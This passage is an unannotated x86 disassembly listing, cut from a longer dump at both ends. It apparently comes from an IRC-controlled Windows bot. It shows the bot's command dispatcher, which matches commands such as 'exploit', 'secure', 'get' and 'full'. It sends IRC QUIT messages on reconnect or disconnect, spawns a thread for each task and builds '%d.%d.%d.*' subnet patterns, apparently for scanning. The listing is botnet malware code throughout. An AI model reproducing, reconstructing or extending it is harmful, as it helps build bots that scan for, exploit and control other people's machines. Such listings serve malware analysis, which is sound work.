ptr 2680B09h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C151 add esp, 14h loc_403C33: ; CODE XREF: sub_401AC7+213Fj lea eax, [ebp+var_37D0] push eax call sub_41B960 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C5E lea eax, [ebp+var_37D0] push eax call sub_41B960 pop ecx mov [ebp+eax+var_37D1], bl loc_403C5E: ; CODE XREF: sub_401AC7+2181j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3AD add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAA3 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403D12 loc_403D00: ; CODE XREF: sub_401AC7+2249j cmp [ebp+var_36B0], ebx jnz short loc_403D2D push 32h call near ptr 2690000h nop jmp short loc_403D00 ; --------------------------------------------------------------------------- loc_403D12: ; CODE XREF: sub_401AC7+2237j call near ptr 26908A7h nop push eax push offset unk_42C154 loc_403D1E: ; CODE XREF: sub_401AC7+23A9j ; sub_401AC7+4C27j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_403D2D: ; CODE XREF: sub_401AC7+223Fj ; sub_401AC7+238Dj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push edi jmp loc_4071EA ; --------------------------------------------------------------------------- loc_403D3D: ; CODE XREF: sub_401AC7+1AA4j ; sub_401AC7+1AB9j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D5C push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403D5C push edi call sub_41BEF9 pop ecx jmp short loc_403D61 ; --------------------------------------------------------------------------- loc_403D5C: ; CODE XREF: sub_401AC7+227Fj ; sub_401AC7+228Aj mov eax, dword_429080 loc_403D61: ; CODE XREF: sub_401AC7+2293j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D78 lea eax, [ebp+var_C4] loc_403D78: ; CODE XREF: sub_401AC7+22A9j push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C100 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403D9A mov esi, offset byte_43B4B8 loc_403D9A: ; CODE XREF: sub_401AC7+22CCj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C100 push [ebp+var_88] lea eax, [ebp+var_19E8] push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C118 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3AD add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset dword_41140C push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403E64 loc_403E4E: ; CODE XREF: sub_401AC7+239Bj cmp [ebp+var_1810], ebx jnz loc_403D2D push 32h nop call near ptr 2690000h jmp short loc_403E4E ; --------------------------------------------------------------------------- loc_403E64: ; CODE XREF: sub_401AC7+2385j call near ptr 26908A7h nop push eax push offset unk_42C0DC jmp loc_403D1E ; --------------------------------------------------------------------------- loc_403E75: ; CODE XREF: sub_401AC7+1A7Aj ; sub_401AC7+1A8Fj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403E88 push esi call sub_41BEF9 jmp short loc_403E8F ; --------------------------------------------------------------------------- loc_403E88: ; CODE XREF: sub_401AC7+23B7j push 0Bh call sub_40B614 loc_403E8F: ; CODE XREF: sub_401AC7+23BFj cmp eax, ebx pop ecx jz loc_409643 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD05 jmp loc_404356 ; --------------------------------------------------------------------------- loc_403EAF: ; CODE XREF: sub_401AC7+1A50j ; sub_401AC7+1A65j mov eax, dword_4C9220 cmp eax, ebx jz short loc_403ECC call eax test eax, eax jz short loc_403EC5 push offset unk_42C0B8 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EC5: ; CODE XREF: sub_401AC7+23F5j push offset unk_42C08C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403ECC: ; CODE XREF: sub_401AC7+23EFj push offset unk_42C060 loc_403ED1: ; CODE XREF: sub_401AC7+23FCj ; sub_401AC7+2403j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_403EE7: ; CODE XREF: sub_401AC7+1A26j ; sub_401AC7+1A3Bj call sub_40A91C test eax, eax jz short loc_403EF7 push offset unk_42C03C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EF7: ; CODE XREF: sub_401AC7+2427j push offset unk_42C010 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401AC7+19FCj ; sub_401AC7+1A11j cmp [ebp+var_8], ebx jnz short loc_403F1D push ebx push [ebp+var_4] push offset dword_42BFF8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403F1D: ; CODE XREF: sub_401AC7+243Aj push ebx push [ebp+var_4] call sub_4186D4 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BFDC jmp loc_404222 ; --------------------------------------------------------------------------- loc_403F3F: ; CODE XREF: sub_401AC7+1893j ; sub_401AC7+18A8j push 0Ah call sub_40B5F5 test eax, eax pop ecx jle short loc_403F52 push offset unk_42BFB0 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F52: ; CODE XREF: sub_401AC7+2482j push [ebp+var_88] push [ebp+arg_4] call sub_41A152 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F6E push offset unk_42BF88 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401AC7+249Ej push offset unk_42BF68 loc_403F73: ; CODE XREF: sub_401AC7+2489j ; sub_401AC7+24A5j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_403F81: ; CODE XREF: sub_401AC7+57CEj ; sub_401AC7+7124j cmp [ebp+var_8], ebx jnz short loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403F9A: ; CODE XREF: sub_401AC7+6D9Ej call sub_409862 add esp, 14h loc_403FA2: ; CODE XREF: sub_401AC7+24BDj ; sub_401AC7+2699j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403FB3: ; CODE XREF: sub_401AC7+1869j ; sub_401AC7+187Ej push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5B9 jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401AC7+183Fj ; sub_401AC7+1854j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416F7A jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FE9: ; CODE XREF: sub_401AC7+1815j ; sub_401AC7+182Aj or edi, 0FFFFFFFFh nop call near ptr 26A06B3h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404012 push esi call sub_41BEF9 pop ecx mov edi, eax loc_404012: ; CODE XREF: sub_401AC7+2540j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40402B cmp edi, 0FFFFFFFFh jnz loc_409643 loc_40402B: ; CODE XREF: sub_401AC7+2559j push ebx call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BF50 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_404068: ; CODE XREF: sub_401AC7+5E21j add esp, 28h jmp loc_409643 ; --------------------------------------------------------------------------- loc_404070: ; CODE XREF: sub_401AC7+17EBj ; sub_401AC7+1800j push 27h call sub_40B5F5 test eax, eax pop ecx jle short loc_4040A1 cmp [ebp+var_8], ebx jnz loc_401F6C push ebx push [ebp+var_4] push offset unk_42BF30 loc_40408E: ; CODE XREF: sub_401AC7+4FD2j push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040A1: ; CODE XREF: sub_401AC7+25B3j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_404102 push esi push offset aFull ; "full" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404102 mov [ebp+var_B40], 1 loc_404102: ; CODE XREF: sub_401AC7+261Ej ; sub_401AC7+262Fj lea eax, [ebp+var_2C4] push offset dword_42BF0C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3AD add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419DD9 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404170 loc_40415A: ; CODE XREF: sub_401AC7+26A7j cmp [ebp+var_B34], ebx jnz loc_403FA2 push 32h nop call near ptr 2690000h jmp short loc_40415A ; --------------------------------------------------------------------------- loc_404170: ; CODE XREF: sub_401AC7+2691j nop call near ptr 26908A7h push eax lea eax, [ebp+var_2C4] push offset unk_42BED0 push eax call sub_41C006 add esp, 0Ch jmp loc_403FA2 ; --------------------------------------------------------------------------- loc_404190: ; CODE XREF: sub_401AC7+17C1j ; sub_401AC7+17D6j cmp [ebp+var_8], ebx jnz short loc_4041AF push ebx push [ebp+var_4] push offset unk_42BEB8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4041AF: ; CODE XREF: sub_401AC7+26CCj push [ebp+arg_4] call dword_4C939C call dword_4C925C call sub_418857 push ebx call near ptr 77E75CB5h nop loc_4041CA: ; CODE XREF: sub_401AC7+1797j ; sub_401AC7+17ACj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF2B pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BEA0 jmp short loc_404222 ; --------------------------------------------------------------------------- loc_4041F5: ; CODE XREF: sub_401AC7+176Dj ; sub_401AC7+1782j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BE88 loc_404222: ; CODE XREF: sub_401AC7+2473j ; sub_401AC7+272Cj call sub_415CEE loc_404227: ; CODE XREF: sub_401AC7+6E92j add esp, 18h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40422F: ; CODE XREF: sub_401AC7+1743j ; sub_401AC7+1758j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415D8E loc_404243: ; CODE XREF: sub_401AC7+3C5j ; sub_401AC7+2500j ... add esp, 10h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40424B: ; CODE XREF: sub_401AC7+1719j ; sub_401AC7+172Ej cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_40428A mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40428A push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_40428A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C100 add esp, 10h loc_40428A: ; CODE XREF: sub_401AC7+278Dj ; sub_401AC7+2798j ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset dword_42BE70 mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3AD add esp, 20h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E01 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40432A loc_404314: ; CODE XREF: sub_401AC7+2861j cmp [ebp+var_150C], ebx jnz loc_401F6C push 32h nop call near ptr 2690000h jmp short loc_404314 ; --------------------------------------------------------------------------- loc_40432A: ; CODE XREF: sub_401AC7+284Bj nop call near ptr 26908A7h push eax push offset unk_42BE38 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40433B: ; CODE XREF: sub_401AC7+16EFj ; sub_401AC7+1704j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415C76 push offset unk_42BE20 call sub_415CEE loc_404356: ; CODE XREF: sub_401AC7+23E3j add esp, 10h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40435E: ; CODE XREF: sub_401AC7+16C5j ; sub_401AC7+16DAj push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043B8 push offset dword_42BE1C push esi call sub_41C7E0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043BE ; --------------------------------------------------------------------------- loc_4043B8: ; CODE XREF: sub_401AC7+28D5j mov [ebp+var_BD8], ebx loc_4043BE: ; CODE XREF: sub_401AC7+28EFj lea eax, [ebp+var_2C4] push offset dword_42BDFC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3AD add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset dword_40B418 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40442C loc_404416: ; CODE XREF: sub_401AC7+2963j cmp [ebp+var_BCC], ebx jnz loc_406C63 push 32h nop call near ptr 2690000h jmp short loc_404416 ; --------------------------------------------------------------------------- loc_40442C: ; CODE XREF: sub_401AC7+294Dj nop call near ptr 26908A7h push eax push offset unk_42BDC0 jmp loc_4090AC ; --------------------------------------------------------------------------- loc_40443D: ; CODE XREF: sub_401AC7+1649j ; sub_401AC7+165Ej push offset a1221 ; "1221" lea eax, [ebp+var_2C4] push offset unk_42BDA8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_404474: ; CODE XREF: sub_401AC7+161Fj ; sub_401AC7+1634j push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BD7C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 24h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4044B2: ; CODE XREF: sub_401AC7+15F5j ; sub_401AC7+160Aj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044E4 cmp [ebp+var_C], ebx jz short loc_4044F3 push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4044F3 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40981C add esp, 0Ch jmp short loc_4044F3 ; --------------------------------------------------------------------------- loc_4044E4: ; CODE XREF: sub_401AC7+29F4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40981C pop ecx pop ecx loc_4044F3: ; CODE XREF: sub_401AC7+29F9j ; sub_401AC7+2A08j ... push 0FFFFFFFEh jmp loc_401F6E ; --------------------------------------------------------------------------- loc_4044FA: ; CODE XREF: sub_401AC7+15CBj ; sub_401AC7+15E0j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BD2C call sub_415CEE add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40451C: ; CODE XREF: sub_401AC7+15A1j ; sub_401AC7+15B6j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BCFC call sub_415CEE add esp, 0Ch jmp loc_4095B3 ; --------------------------------------------------------------------------- loc_40453B: ; CODE XREF: sub_401AC7+1577j ; sub_401AC7+158Cj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA8E jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404551: ; CODE XREF: sub_401AC7+154Dj ; sub_401AC7+1562j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA3A jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404567: ; CODE XREF: sub_401AC7+1523j ; sub_401AC7+1538j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9CF jmp loc_4048FA ; --------------------------------------------------------------------------- loc_40457D: ; CODE XREF: sub_401AC7+14F9j ; sub_401AC7+150Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B901 jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404593: ; CODE XREF: sub_401AC7+1454j ; sub_401AC7+1469j push [ebp+esi+var_8C] push 27h push offset dword_42BCEC push offset dword_42BCDC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045AB: ; CODE XREF: sub_401AC7+142Aj ; sub_401AC7+143Fj push [ebp+esi+var_8C] push 24h push offset dword_42BCD0 push offset dword_42BCC0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_401AC7+1043j ; sub_401AC7+1058j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045E2 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_4045E2 push edi call sub_41BEF9 pop ecx jmp short loc_4045E7 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_401AC7+2B05j ; sub_401AC7+2B10j mov eax, dword_429074 loc_4045E7: ; CODE XREF: sub_401AC7+2B19j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_40460C push esi loc_4045F9: ; CODE XREF: sub_401AC7+2B54j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C100 add esp, 0Ch jmp short loc_404623 ; --------------------------------------------------------------------------- loc_40460C: ; CODE XREF: sub_401AC7+2B2Fj cmp [ebp+var_8FF], bl jz short loc_40461D lea eax, [ebp+var_C4] push eax jmp short loc_4045F9 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_401AC7+2B4Bj mov [ebp+var_5A0], bl loc_404623: ; CODE XREF: sub_401AC7+2B43j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C100 add esp, 0Ch push [ebp+var_590] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC98 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset dword_411B8C push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4046D4 loc_4046BE: ; CODE XREF: sub_401AC7+2C0Bj cmp [ebp+var_57C], ebx jnz loc_401F6C push 32h nop call near ptr 2690000h jmp short loc_4046BE ; --------------------------------------------------------------------------- loc_4046D4: ; CODE XREF: sub_401AC7+2BF5j call near ptr 26908A7h nop push eax push offset dword_42BC5C jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4046E5: ; CODE XREF: sub_401AC7+FF0j ; sub_401AC7+1005j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404705 push esi call sub_41BEF9 test ax, ax pop ecx jz short loc_404705 push esi call sub_41BEF9 pop ecx jmp short loc_40470B ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_401AC7+2C27j ; sub_401AC7+2C33j mov ax, word_429084 loc_40470B: ; CODE XREF: sub_401AC7+2C3Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C100 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409862 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3AD add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EEEC push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4047DA loc_4047C4: ; CODE XREF: sub_401AC7+2D11j cmp [ebp+var_968], ebx jnz loc_401F6C push 32h call near ptr 2690000h nop jmp short loc_4047C4 ; --------------------------------------------------------------------------- loc_4047DA: ; CODE XREF: sub_401AC7+2CFBj call near ptr 26908A7h nop push eax push offset unk_42BBF0 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4047EB: ; CODE XREF: sub_401AC7+F9Cj ; sub_401AC7+FB1j ... push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_404813 push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_40481D loc_404813: ; CODE XREF: sub_401AC7+2D33j mov [ebp+var_AA8], 1 loc_40481D: ; CODE XREF: sub_401AC7+2D4Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404864 mov eax, offset aUnsecuring ; "Unsecuring" loc_404864: ; CODE XREF: sub_401AC7+2D96j push eax push offset dword_42BBBC lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A307 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4048D8 loc_4048C2: ; CODE XREF: sub_401AC7+2E0Fj cmp [ebp+var_A9C], ebx jnz loc_40830C push 32h nop call near ptr 2690000h jmp short loc_4048C2 ; --------------------------------------------------------------------------- loc_4048D8: ; CODE XREF: sub_401AC7+2DF9j call near ptr 26908A7h nop push eax push offset dword_42BB80 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4048E9: ; CODE XREF: sub_401AC7+F72j ; sub_401AC7+F87j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41AB97 loc_4048FA: ; CODE XREF: sub_401AC7+2A85j ; sub_401AC7+2A9Bj ... add esp, 0Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401AC7+F48j ; sub_401AC7+F5Dj push offset unk_42BB30 jmp loc_40851D ; --------------------------------------------------------------------------- loc_40490C: ; CODE XREF: sub_401AC7+F1Ej ; sub_401AC7+F33j push offset aZxvsVrx ; "ZxVs VRX" push offset dword_42BB20 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40491B: ; CODE XREF: sub_401AC7+EF4j ; sub_401AC7+F09j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40497B push esi call sub_41BEF9 cmp eax, ebx pop ecx jl short loc_404970 cmp eax, 3 jge short loc_404970 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_404965 lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 add esp, 0Ch mov [esi], bl jmp loc_4081DE ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: sub_401AC7+2E7Dj push eax push offset unk_42BAF4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404970: ; CODE XREF: sub_401AC7+2E68j ; sub_401AC7+2E6Dj push eax push offset unk_42BAC8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_40497B: ; CODE XREF: sub_401AC7+2E5Dj mov edi, [ebp+arg_18] xor esi, esi loc_404980: ; CODE XREF: sub_401AC7+2ED5j push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4049A3 inc esi add edi, 80h cmp esi, 3 jl short loc_404980 jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4049A3: ; CODE XREF: sub_401AC7+2EC9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD5C jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4049BD: ; CODE XREF: sub_401AC7+ECAj ; sub_401AC7+EDFj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403433 call sub_40B576 push ebx call near ptr 77E75CB5h nop loc_4049E3: ; CODE XREF: sub_401AC7+19A4j push offset aGet ; "get" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404A89 cmp dword_4CCAC0, ebx jz short loc_404A0F push offset dword_4CC4A0 push offset unk_42BA8C jmp loc_404A9B ; --------------------------------------------------------------------------- loc_404A0F: ; CODE XREF: sub_401AC7+2F37j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C006 lea eax, [ebp+var_E24] push eax lea eax, [ebp+var_2C4] push offset unk_42BA8C push eax call sub_41C006 add esp, 20h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404A89: ; CODE XREF: sub_401AC7+2F2Bj push edi call dword_4C9344 cmp eax, 0FFFFFFFFh push edi jnz short loc_404AAF push offset unk_42BA4C loc_404A9B: ; CODE XREF: sub_401AC7+2F43j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_40348A ; --------------------------------------------------------------------------- loc_404AAF: ; CODE XREF: sub_401AC7+2FCDj push offset dword_4CC4A0 call sub_41C620 push edi lea eax, [ebp+var_2C4] push offset unk_42BA20 push eax mov dword_4CCAC0, 1 call sub_41C006 add esp, 14h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404ADD: ; CODE XREF: sub_401AC7+198Fj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404BDA mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C100 push offset aF ; "#f" lea eax, [ebp+var_14F8] push esi push eax call sub_41C100 push edi lea eax, [ebp+var_1508] push 10h push eax call sub_41C100 lea 